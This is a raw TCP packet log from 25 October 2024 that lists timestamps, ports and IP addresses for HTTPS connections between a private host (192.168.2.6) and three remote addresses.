Oct 25, 2024 10:19:47.958884954 CEST	443	50115	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:47.958939075 CEST	50115	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:47.958945990 CEST	443	50115	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:47.959742069 CEST	443	50115	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:47.959772110 CEST	443	50115	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:47.959799051 CEST	50115	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:47.959805012 CEST	443	50115	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:47.959826946 CEST	50115	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:47.960278988 CEST	443	50115	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:47.960315943 CEST	443	50115	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:47.960362911 CEST	50115	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:47.960369110 CEST	443	50115	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:47.961318970 CEST	443	50115	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:47.961368084 CEST	50115	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:47.961374998 CEST	443	50115	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:47.961421013 CEST	50115	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:47.962182045 CEST	443	50115	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:47.962248087 CEST	50115	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:47.962279081 CEST	443	50115	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:47.962325096 CEST	50115	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:47.963413954 CEST	443	50115	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:47.963465929 CEST	50115	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:47.963530064 CEST	443	50115	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:47.963582993 CEST	50115	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:47.999603987 CEST	443	50115	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:47.999672890 CEST	50115	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:48.074995041 CEST	443	50115	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:48.075047016 CEST	443	50115	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:48.075067997 CEST	50115	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:48.075078964 CEST	443	50115	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:48.075088024 CEST	443	50115	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:48.075130939 CEST	50115	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:48.075212002 CEST	443	50115	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:48.075253963 CEST	50115	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:48.075432062 CEST	443	50115	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:48.075472116 CEST	50115	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:48.075536966 CEST	443	50115	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:48.075581074 CEST	50115	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:48.075591087 CEST	443	50115	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:48.075645924 CEST	443	50115	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:48.075910091 CEST	50115	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:48.076445103 CEST	50115	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:48.076463938 CEST	443	50115	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:48.080893040 CEST	50120	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:48.080949068 CEST	443	50120	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:48.081162930 CEST	50120	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:48.082765102 CEST	50120	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:48.082778931 CEST	443	50120	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:48.220072985 CEST	50125	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:48.220176935 CEST	443	50125	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:48.220307112 CEST	50125	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:48.221498013 CEST	50125	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:48.221519947 CEST	443	50125	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:48.393300056 CEST	50127	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:48.393340111 CEST	443	50127	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:48.393393993 CEST	50127	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:48.393681049 CEST	50127	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:48.393697023 CEST	443	50127	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:48.688610077 CEST	443	50120	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:48.688931942 CEST	50120	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:48.688966036 CEST	443	50120	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:48.689344883 CEST	443	50120	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:48.689903021 CEST	50120	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:48.689975023 CEST	443	50120	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:48.690196037 CEST	50120	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:48.731419086 CEST	443	50120	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:48.826220989 CEST	443	50120	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:48.826297998 CEST	443	50120	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:48.826327085 CEST	443	50120	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:48.826364040 CEST	443	50120	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:48.826395988 CEST	443	50120	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:48.826392889 CEST	50120	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:48.826435089 CEST	443	50120	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:48.826457024 CEST	50120	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:48.826474905 CEST	443	50120	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:48.826503038 CEST	443	50120	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:48.826520920 CEST	50120	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:48.826530933 CEST	443	50120	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:48.826571941 CEST	50120	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:48.826596022 CEST	443	50120	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:48.826675892 CEST	50120	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:48.836460114 CEST	443	50125	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:48.836824894 CEST	50125	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:48.836865902 CEST	443	50125	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:48.837989092 CEST	443	50125	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:48.840250015 CEST	50125	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:48.840435028 CEST	50125	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:48.840445995 CEST	443	50125	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:48.840485096 CEST	443	50125	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:48.840518951 CEST	50125	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:48.840604067 CEST	443	50125	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:48.893356085 CEST	50125	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:48.942981958 CEST	443	50120	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:48.943047047 CEST	443	50120	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:48.943078041 CEST	443	50120	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:48.943124056 CEST	443	50120	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:48.943125963 CEST	50120	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:48.943161011 CEST	443	50120	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:48.943228006 CEST	50120	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:48.943238020 CEST	443	50120	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:48.943300009 CEST	50120	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:48.943798065 CEST	443	50120	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:48.943893909 CEST	443	50120	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:48.943929911 CEST	443	50120	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:48.944082022 CEST	50120	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:48.944089890 CEST	443	50120	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:48.944603920 CEST	443	50120	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:48.944637060 CEST	443	50120	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:48.944667101 CEST	443	50120	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:48.944669962 CEST	50120	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:48.944679022 CEST	443	50120	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:48.944694042 CEST	50120	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:48.944716930 CEST	50120	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:48.944725037 CEST	443	50120	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:48.945545912 CEST	443	50120	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:48.945594072 CEST	50120	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:48.945602894 CEST	443	50120	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:48.945650101 CEST	443	50120	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:48.945696115 CEST	50120	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:48.945703983 CEST	443	50120	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:48.948402882 CEST	443	50120	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:48.948457003 CEST	50120	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:48.948463917 CEST	443	50120	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:49.000415087 CEST	50120	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:49.037955046 CEST	443	50125	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:49.038080931 CEST	443	50125	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:49.038176060 CEST	443	50125	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:49.038269043 CEST	443	50125	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:49.038291931 CEST	50125	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:49.038336992 CEST	443	50125	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:49.038363934 CEST	50125	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:49.038422108 CEST	443	50125	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:49.038475037 CEST	50125	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:49.038486004 CEST	443	50125	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:49.038572073 CEST	443	50125	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:49.041430950 CEST	50125	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:49.041445017 CEST	443	50125	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:49.043786049 CEST	443	50125	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:49.045418024 CEST	50125	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:49.045433044 CEST	443	50125	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:49.060801029 CEST	443	50120	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:49.060873985 CEST	443	50120	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:49.060909033 CEST	443	50120	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:49.060940027 CEST	443	50120	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:49.060969114 CEST	50120	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:49.060971022 CEST	443	50120	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:49.060983896 CEST	443	50120	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:49.060985088 CEST	50120	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:49.061029911 CEST	443	50120	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:49.061037064 CEST	50120	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:49.061047077 CEST	443	50120	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:49.061110020 CEST	50120	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:49.061290979 CEST	443	50120	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:49.061387062 CEST	443	50120	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:49.061522961 CEST	50120	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:49.061530113 CEST	443	50120	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:49.061731100 CEST	443	50120	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:49.061775923 CEST	50120	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:49.061781883 CEST	443	50120	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:49.061954021 CEST	50120	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:49.062036037 CEST	443	50120	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:49.062092066 CEST	50120	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:49.062098026 CEST	443	50120	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:49.062144995 CEST	50120	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:49.062208891 CEST	443	50120	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:49.062263012 CEST	50120	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:49.062302113 CEST	443	50120	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:49.062354088 CEST	50120	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:49.062916040 CEST	443	50120	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:49.062979937 CEST	50120	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:49.063273907 CEST	443	50120	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:49.063338995 CEST	50120	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:49.063446045 CEST	443	50120	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:49.063493013 CEST	50120	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:49.063529015 CEST	443	50120	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:49.063580036 CEST	50120	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:49.064182997 CEST	443	50120	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:49.064265013 CEST	50120	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:49.066193104 CEST	443	50120	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:49.066266060 CEST	50120	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:49.099903107 CEST	50125	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:49.128660917 CEST	443	50127	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:49.131134987 CEST	50127	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:49.131155968 CEST	443	50127	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:49.131731987 CEST	443	50127	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:49.132421017 CEST	50127	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:49.132519007 CEST	443	50127	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:49.132672071 CEST	50127	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:49.132692099 CEST	50127	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:49.132752895 CEST	443	50127	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:49.154994965 CEST	443	50125	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:49.155045033 CEST	443	50125	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:49.155070066 CEST	443	50125	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:49.155106068 CEST	50125	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:49.155141115 CEST	443	50125	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:49.155441999 CEST	50125	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:49.155455112 CEST	443	50125	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:49.155515909 CEST	443	50125	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:49.155564070 CEST	50125	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:49.155574083 CEST	443	50125	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:49.156047106 CEST	443	50125	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:49.156369925 CEST	443	50125	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:49.156438112 CEST	50125	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:49.156450033 CEST	443	50125	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:49.156548023 CEST	443	50125	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:49.156584024 CEST	443	50125	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:49.156594038 CEST	50125	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:49.156604052 CEST	443	50125	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:49.156642914 CEST	50125	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:49.157270908 CEST	443	50125	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:49.157342911 CEST	443	50125	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:49.157380104 CEST	443	50125	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:49.157382011 CEST	50125	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:49.157391071 CEST	443	50125	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:49.157422066 CEST	50125	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:49.158058882 CEST	443	50125	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:49.158103943 CEST	443	50125	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:49.158135891 CEST	443	50125	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:49.158138037 CEST	50125	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:49.158149958 CEST	443	50125	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:49.158179045 CEST	50125	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:49.178236008 CEST	443	50120	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:49.178304911 CEST	443	50120	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:49.178364992 CEST	50120	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:49.178401947 CEST	443	50120	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:49.178433895 CEST	50120	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:49.178453922 CEST	50120	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:49.178520918 CEST	443	50120	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:49.178561926 CEST	50120	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:49.178627968 CEST	443	50120	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:49.178674936 CEST	50120	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:49.178756952 CEST	443	50120	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:49.178848028 CEST	50120	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:49.178855896 CEST	443	50120	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:49.178896904 CEST	50120	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:49.179094076 CEST	50120	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:49.179112911 CEST	443	50120	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:49.207477093 CEST	50125	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:49.273060083 CEST	443	50125	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:49.273271084 CEST	443	50125	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:49.273376942 CEST	443	50125	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:49.273386955 CEST	50125	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:49.273413897 CEST	443	50125	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:49.273473978 CEST	50125	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:49.273480892 CEST	443	50125	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:49.273592949 CEST	443	50125	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:49.273680925 CEST	443	50125	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:49.273696899 CEST	50125	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:49.273705006 CEST	443	50125	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:49.273768902 CEST	50125	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:49.273777008 CEST	443	50125	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:49.273921967 CEST	443	50125	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:49.273993969 CEST	50125	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:49.274000883 CEST	443	50125	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:49.274015903 CEST	443	50125	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:49.274112940 CEST	443	50125	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:49.274136066 CEST	50125	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:49.274144888 CEST	443	50125	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:49.274156094 CEST	50125	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:49.274513006 CEST	443	50125	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:49.274569035 CEST	50125	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:49.274575949 CEST	443	50125	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:49.274601936 CEST	443	50125	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:49.274650097 CEST	50125	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:49.274657011 CEST	443	50125	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:49.275449038 CEST	443	50125	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:49.275511980 CEST	50125	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:49.275521040 CEST	443	50125	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:49.275546074 CEST	443	50125	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:49.275598049 CEST	50125	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:49.275604963 CEST	443	50125	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:49.276350975 CEST	443	50125	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:49.276437998 CEST	50125	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:49.276444912 CEST	443	50125	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:49.276459932 CEST	443	50125	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:49.276515007 CEST	50125	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:49.276521921 CEST	443	50125	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:49.276547909 CEST	443	50125	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:49.276623011 CEST	50125	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:49.276629925 CEST	443	50125	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:49.276731968 CEST	50125	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:49.282185078 CEST	443	50127	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:49.282216072 CEST	443	50127	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:49.282270908 CEST	50127	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:49.282290936 CEST	443	50127	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:49.282347918 CEST	50127	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:49.283322096 CEST	50127	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:49.283363104 CEST	443	50127	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:49.283437014 CEST	50127	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:49.320483923 CEST	443	50125	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:49.320589066 CEST	50125	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:49.390506029 CEST	443	50125	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:49.390569925 CEST	443	50125	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:49.390614033 CEST	443	50125	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:49.390657902 CEST	443	50125	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:49.390655994 CEST	50125	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:49.390655994 CEST	50125	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:49.390686035 CEST	443	50125	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:49.390701056 CEST	443	50125	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:49.390702009 CEST	50125	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:49.390702009 CEST	50125	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:49.390759945 CEST	50125	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:49.390769005 CEST	443	50125	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:49.391247988 CEST	443	50125	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:49.391292095 CEST	50125	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:49.391299009 CEST	443	50125	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:49.391309977 CEST	443	50125	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:49.391364098 CEST	50125	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:49.391371012 CEST	443	50125	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:49.391381025 CEST	50125	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:49.391554117 CEST	443	50125	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:49.391601086 CEST	50125	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:49.391608000 CEST	443	50125	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:49.391714096 CEST	50125	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:49.391774893 CEST	443	50125	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:49.391839981 CEST	50125	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:49.391851902 CEST	443	50125	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:49.391901016 CEST	50125	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:49.392474890 CEST	443	50125	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:49.392525911 CEST	50125	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:49.392591000 CEST	443	50125	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:49.392642021 CEST	50125	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:49.392647028 CEST	443	50125	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:49.392658949 CEST	443	50125	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:49.392714977 CEST	50125	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:49.392721891 CEST	443	50125	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:49.392749071 CEST	443	50125	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:49.392792940 CEST	50125	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:49.393030882 CEST	50125	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:49.393045902 CEST	443	50125	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:49.430677891 CEST	50128	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:49.430727005 CEST	443	50128	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:49.430860043 CEST	50128	443	192.168.2.6	104.18.94.41
